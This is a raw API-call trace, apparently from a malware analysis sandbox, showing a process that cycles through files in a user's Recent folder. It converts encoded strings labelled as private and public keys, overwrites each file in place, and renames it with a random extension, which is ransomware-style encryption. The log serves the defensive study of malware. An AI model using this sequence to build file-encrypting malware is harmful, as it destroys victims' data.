GetCurrentThreadId () returned 0xa30 [0080.458] GetCurrentThreadId () returned 0xa30 [0080.458] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d547f40, ftCreationTime.dwHighDateTime=0x1d622f5, ftLastAccessTime.dwLowDateTime=0x3d547f40, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x3d547f40, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x14f8, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="cSsK3Xa3I8N9gp_g.mkv.lnk", cAlternateFileName="CSSK3X~1.LNK")) returned 1 [0080.458] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0080.458] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0080.458] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\cSsK3Xa3I8N9gp_g.mkv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\cssk3xa3i8n9gp_g.mkv.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d547f40, ftCreationTime.dwHighDateTime=0x1d622f5, ftLastAccessTime.dwLowDateTime=0x3d547f40, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x3d547f40, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x14f8)) returned 1 [0080.458] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\cSsK3Xa3I8N9gp_g.mkv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\cssk3xa3i8n9gp_g.mkv.lnk")) returned 0x20 [0080.458] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\cSsK3Xa3I8N9gp_g.mkv.lnk", dwFileAttributes=0x80) returned 1 [0080.460] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0080.460] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f7389c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0080.461] GetCurrentThreadId () returned 0xa30 [0080.461] GetCurrentThreadId () returned 0xa30 [0080.461] GetCurrentThreadId () returned 0xa30 [0080.462] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0080.462] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f848fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0080.462] GetCurrentThreadId () returned 0xa30 [0080.462] GetCurrentThreadId () returned 0xa30 [0080.462] GetCurrentThreadId () returned 0xa30 [0080.463] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\cSsK3Xa3I8N9gp_g.mkv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\cssk3xa3i8n9gp_g.mkv.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0080.463] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0080.463] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0080.463] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x14f8 [0080.463] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0080.463] ReadFile (in: hFile=0x124, lpBuffer=0x1f8c700, nNumberOfBytesToRead=0x14f8, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f8c700*, lpNumberOfBytesRead=0x18f96c*=0x14f8, lpOverlapped=0x0) returned 1 [0080.465] CloseHandle (hObject=0x124) returned 1 [0080.465] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\cSsK3Xa3I8N9gp_g.mkv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\cssk3xa3i8n9gp_g.mkv.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0080.467] WriteFile (in: hFile=0x124, lpBuffer=0x1f8e730*, nNumberOfBytesToWrite=0x14f8, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f8e730*, lpNumberOfBytesWritten=0x18f978*=0x14f8, lpOverlapped=0x0) returned 1 [0080.469] CloseHandle (hObject=0x124) returned 1 [0080.473] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\cSsK3Xa3I8N9gp_g.mkv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\cssk3xa3i8n9gp_g.mkv.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\cSsK3Xa3I8N9gp_g.mkv.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\cssk3xa3i8n9gp_g.mkv.lnk.zv7un")) returned 1 [0080.474] GetCurrentThreadId () returned 0xa30 [0080.474] GetCurrentThreadId () returned 0xa30 [0080.474] GetCurrentThreadId () returned 0xa30 [0080.474] GetCurrentThreadId () returned 0xa30 [0080.474] GetCurrentThreadId () returned 0xa30 [0080.474] GetCurrentThreadId () returned 0xa30 [0080.474] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xce5f0760, ftLastAccessTime.dwHighDateTime=0x1d4d596, ftLastWriteTime.dwLowDateTime=0xce5f0760, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="CustomDestinations", cAlternateFileName="CUSTOM~1")) returned 1 [0080.474] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe382bc20, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe382bc20, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe3851d80, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x243, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="D1JRmpQ7-5.lnk", cAlternateFileName="D1JRMP~1.LNK")) returned 1 [0080.474] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0080.475] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0080.475] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\D1JRmpQ7-5.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\d1jrmpq7-5.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe382bc20, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe382bc20, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe3851d80, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x243)) returned 1 [0080.475] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\D1JRmpQ7-5.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\d1jrmpq7-5.lnk")) returned 0x20 [0080.475] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\D1JRmpQ7-5.lnk", dwFileAttributes=0x80) returned 1 [0080.480] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 